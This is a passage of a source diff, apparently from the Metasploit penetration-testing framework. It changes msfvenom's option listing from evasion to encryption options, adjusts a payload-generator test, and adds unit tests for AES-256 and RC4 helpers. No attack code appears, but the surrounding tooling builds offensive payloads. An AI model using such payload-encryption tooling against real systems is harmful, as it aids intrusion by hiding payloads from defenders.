- $stderr.puts "Evasion options for #{payload_mod.fullname}:\n\n"
- $stdout.puts ::Msf::Serializer::ReadableText.dump_evasion_options(payload_mod, ' ')
+ $stderr.puts "Encryption options for #{payload_mod.fullname}:\n\n"
+ $stdout.puts ::Msf::Serializer::ReadableText.dump_encrypt_options(payload_mod, ' ')
exit(0)
end
diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb
index 2c5736065a..ab7b83bafb 100644
--- a/spec/lib/msf/core/payload_generator_spec.rb
+++ b/spec/lib/msf/core/payload_generator_spec.rb
@@ -1056,7 +1056,7 @@ RSpec.describe Msf::PayloadGenerator do
}
}
it 'applies the appropriate transform format' do
- expect(::Msf::Simple::Buffer).to receive(:transform).with(shellcode, 'c', 'buf')
+ expect(::Msf::Simple::Buffer).to receive(:transform).with(shellcode, 'c', 'buf', {})
payload_generator.format_payload(shellcode)
end
end
diff --git a/spec/lib/rex/crypto/aes256_spec.rb b/spec/lib/rex/crypto/aes256_spec.rb
new file mode 100644
index 0000000000..5fc98c029c
--- /dev/null
+++ b/spec/lib/rex/crypto/aes256_spec.rb
@@ -0,0 +1,62 @@
+require 'spec_helper'
+require 'securerandom'
+
+
+RSpec.describe Rex::Crypto do
+
+ let(:iv) {
+ SecureRandom.random_bytes(16)
+ }
+
+ let(:key) {
+ SecureRandom.random_bytes(32)
+ }
+
+ let(:value) {
+ 'Hello World'
+ }
+
+ describe '#encrypt_aes256' do
+ it 'raises an exception due to a short IV' do
+ iv = SecureRandom.random_bytes(1)
+ # Because it could raise either a OpenSSL::Cipher::CipherError or an ArgumentError
+ # dependong on the environment, we will just expect it to raise an exception
+ expect { Rex::Crypto.encrypt_aes256(iv, key, value) }.to raise_exception
+ end
+
+ it 'raises an exception due to a short key' do
+ key = SecureRandom.random_bytes(1)
+ # Because it could raise either a OpenSSL::Cipher::CipherError or an ArgumentError
+ # dependong on the environment, we will just expect it to raise an exception
+ expect { Rex::Crypto.encrypt_aes256(iv, key, value) }.to raise_exception
+ end
+
+ it 'encrypts the string Hello World' do
+ encrypted_str = Rex::Crypto.encrypt_aes256(iv, key, value)
+ expect(encrypted_str).not_to eq(value)
+ end
+ end
+
+ describe '#decrypt_aes256' do
+ it 'raises an exception due to a short IV' do
+ iv = SecureRandom.random_bytes(1)
+ # Because it could raise either a OpenSSL::Cipher::CipherError or an ArgumentError
+ # dependong on the environment, we will just expect it to raise an exception
+ expect { Rex::Crypto.decrypt_aes256(iv, key, value) }.to raise_exception
+ end
+
+ it 'raises an exception due to a short key' do
+ key = SecureRandom.random_bytes(1)
+ # Because it could raise either a OpenSSL::Cipher::CipherError or an ArgumentError
+ # dependong on the environment, we will just expect it to raise an exception
+ expect { Rex::Crypto.decrypt_aes256(iv, key, value) }.to raise_exception
+ end
+
+ it 'decrypts the value to Hello World' do
+ encrypted_str = Rex::Crypto.encrypt_aes256(iv, key, value)
+ decrypted_str = Rex::Crypto.decrypt_aes256(iv, key, encrypted_str)
+ expect(decrypted_str).to eq(value)
+ end
+ end
+
+end
\ No newline at end of file
diff --git a/spec/lib/rex/crypto/rc4_spec.rb b/spec/lib/rex/crypto/rc4_spec.rb
new file mode 100644
index 0000000000..00ffaf4828
--- /dev/null
+++ b/spec/lib/rex/crypto/rc4_spec.rb
@@ -0,0 +1,28 @@
+require 'spec_helper'
+require 'securerandom'
+
+
+RSpec.describe Rex::Crypto do
+
+ describe '#rc4' do
+
+ let(:key) {
+ SecureRandom.random_bytes(32)
+ }
+
+ let(:value) {
+ 'Hello World'
+ }
+
+ it 'encrypts a string' do
+ expect(Rex::Crypto.rc4(key, value)).not_to eq(value)
+ end
+
+ it 'decrypts a string' do
+ encrypted_str = Rex::Crypto.rc4(key, value)
+ decrypted_str = Rex::Crypto.rc4(key, encrypted_str)
+ expect(decrypted_str).to eq(value)
+ end
+
+ end
+end
\ No newline at end of file